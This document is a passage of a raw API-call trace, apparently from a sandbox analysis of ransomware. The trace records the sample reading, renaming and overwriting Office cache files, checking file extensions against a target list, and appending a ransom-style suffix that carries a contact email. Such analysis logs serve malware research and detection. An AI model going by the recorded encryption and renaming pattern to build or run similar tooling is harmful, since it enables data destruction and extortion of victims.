ReadFile (in: hFile=0x1a0, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.205] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.205] ReadFile (in: hFile=0x1a0, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0210.897] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0210.897] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0210.898] ReadFile (in: hFile=0x1a0, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.152] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0211.152] WriteFile (in: hFile=0x1a0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0211.165] SetEndOfFile (hFile=0x1a0) returned 1 [0211.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0211.168] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.168] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.170] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x6000ac, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.170] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.174] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x11c0204, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0211.174] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0211.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0211.178] CloseHandle (hObject=0x1a0) returned 1 [0211.178] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0211.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.178] lstrlenW (lpString=".doc") returned 4 [0211.178] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.178] lstrlenW (lpString=".docx") returned 5 [0211.178] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.178] lstrlenW (lpString=".pdf") returned 4 [0211.178] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.178] lstrlenW (lpString=".xls") returned 4 [0211.178] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.178] lstrlenW (lpString=".xlsx") returned 5 [0211.178] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.178] lstrlenW (lpString=".ppt") returned 4 [0211.178] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.178] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString=".zip") returned 4 [0211.179] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString=".rar") returned 4 [0211.179] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString=".bz2") returned 4 [0211.179] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.179] lstrlenW (lpString=".7z") returned 3 [0211.179] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString=".dbf") returned 4 [0211.179] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString=".1cd") returned 4 [0211.179] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString=".jpg") returned 4 [0211.179] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.179] lstrlenW (lpString=".doc") returned 4 [0211.179] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString=".docx") returned 5 [0211.179] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0211.179] lstrlenW (lpString=".pdf") returned 4 [0211.179] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString=".xls") returned 4 [0211.179] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0211.179] lstrlenW (lpString=".xlsx") returned 5 [0211.179] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0211.179] lstrlenW (lpString=".ppt") returned 4 [0211.180] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0211.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.180] lstrlenW (lpString=".zip") returned 4 [0211.180] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0211.180] lstrlenW (lpString=".rar") returned 4 [0211.180] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0211.180] lstrlenW (lpString=".bz2") returned 4 [0211.180] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0211.180] lstrlenW (lpString=".7z") returned 3 [0211.180] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0211.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.180] lstrlenW (lpString=".dbf") returned 4 [0211.180] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0211.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.180] lstrlenW (lpString=".1cd") returned 4 [0211.180] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0211.180] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfLR.cab") returned 72 [0211.180] lstrlenW (lpString=".jpg") returned 4 [0211.180] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0211.180] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0211.180] lstrlenW (lpString="VisioMUI.msi") returned 12 [0211.180] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0211.181] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=2797568) returned 1 [0211.181] CloseHandle (hObject=0x1a0) returned 1 [0211.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0211.181] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0211.181] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0211.181] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0211.181] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0211.181] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.182] ReadFile (in: hFile=0x1a0, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.483] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.483] ReadFile (in: hFile=0x1a0, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0211.912] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0211.912] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0211.912] ReadFile (in: hFile=0x1a0, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.261] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0212.261] WriteFile (in: hFile=0x1a0, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0212.327] SetEndOfFile (hFile=0x1a0) returned 1 [0212.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f53090 [0212.327] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.327] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.330] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.330] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.343] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0212.343] WriteFile (in: hFile=0x1a0, lpBuffer=0x3f53090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53090*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0212.345] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f53090 | out: hHeap=0x4f0000) returned 1 [0212.345] CloseHandle (hObject=0x1a0) returned 1 [0212.345] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0212.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.345] lstrlenW (lpString=".doc") returned 4 [0212.345] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.345] lstrlenW (lpString=".docx") returned 5 [0212.346] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.346] lstrlenW (lpString=".pdf") returned 4 [0212.346] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.346] lstrlenW (lpString=".xls") returned 4 [0212.346] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.346] lstrlenW (lpString=".xlsx") returned 5 [0212.346] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.346] lstrlenW (lpString=".ppt") returned 4 [0212.346] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.346] lstrlenW (lpString=".zip") returned 4 [0212.346] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.346] lstrlenW (lpString=".rar") returned 4 [0212.346] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.346] lstrlenW (lpString=".bz2") returned 4 [0212.346] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.346] lstrlenW (lpString=".7z") returned 3 [0212.346] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.346] lstrlenW (lpString=".dbf") returned 4 [0212.346] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.347] lstrlenW (lpString=".1cd") returned 4 [0212.347] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.347] lstrlenW (lpString=".jpg") returned 4 [0212.347] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.347] lstrlenW (lpString=".doc") returned 4 [0212.347] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0212.347] lstrlenW (lpString=".docx") returned 5 [0212.347] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0212.347] lstrlenW (lpString=".pdf") returned 4 [0212.347] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0212.347] lstrlenW (lpString=".xls") returned 4 [0212.347] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0212.347] lstrlenW (lpString=".xlsx") returned 5 [0212.347] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0212.347] lstrlenW (lpString=".ppt") returned 4 [0212.347] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0212.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.347] lstrlenW (lpString=".zip") returned 4 [0212.347] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0212.347] lstrlenW (lpString=".rar") returned 4 [0212.347] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0212.348] lstrlenW (lpString=".bz2") returned 4 [0212.348] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0212.348] lstrlenW (lpString=".7z") returned 3 [0212.348] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0212.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.348] lstrlenW (lpString=".dbf") returned 4 [0212.348] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0212.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.348] lstrlenW (lpString=".1cd") returned 4 [0212.348] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0212.348] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0212.348] lstrlenW (lpString=".jpg") returned 4 [0212.348] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0212.348] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0212.348] lstrlenW (lpString="OnoteLR.cab") returned 11 [0212.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0212.483] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=17456632) returned 1 [0212.483] CloseHandle (hObject=0x17c) returned 1 [0212.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab")) returned 0x2020 [0212.483] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0212.483] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0212.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0212.487] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0212.487] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.488] ReadFile (in: hFile=0x17c, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0212.643] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0212.643] ReadFile (in: hFile=0x17c, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.798] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.799] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.799] ReadFile (in: hFile=0x17c, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.922] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.923] WriteFile (in: hFile=0x17c, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0214.324] SetEndOfFile (hFile=0x17c) returned 1 [0214.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x40140b0 [0214.327] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.327] WriteFile (in: hFile=0x17c, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.328] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.328] WriteFile (in: hFile=0x17c, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.329] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x1065df8, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.329] WriteFile (in: hFile=0x17c, lpBuffer=0x40140b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x40140b0*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.332] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40140b0 | out: hHeap=0x4f0000) returned 1 [0214.332] CloseHandle (hObject=0x17c) returned 1 [0214.332] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0214.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.332] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.333] lstrlenW (lpString=".doc") returned 4 [0214.333] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.333] lstrlenW (lpString=".docx") returned 5 [0214.333] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0214.333] lstrlenW (lpString=".pdf") returned 4 [0214.333] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.333] lstrlenW (lpString=".xls") returned 4 [0214.333] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.333] lstrlenW (lpString=".xlsx") returned 5 [0214.333] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0214.333] lstrlenW (lpString=".ppt") returned 4 [0214.333] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.333] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0214.333] lstrlenW (lpString=".zip") returned 4 [0214.333] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.333] 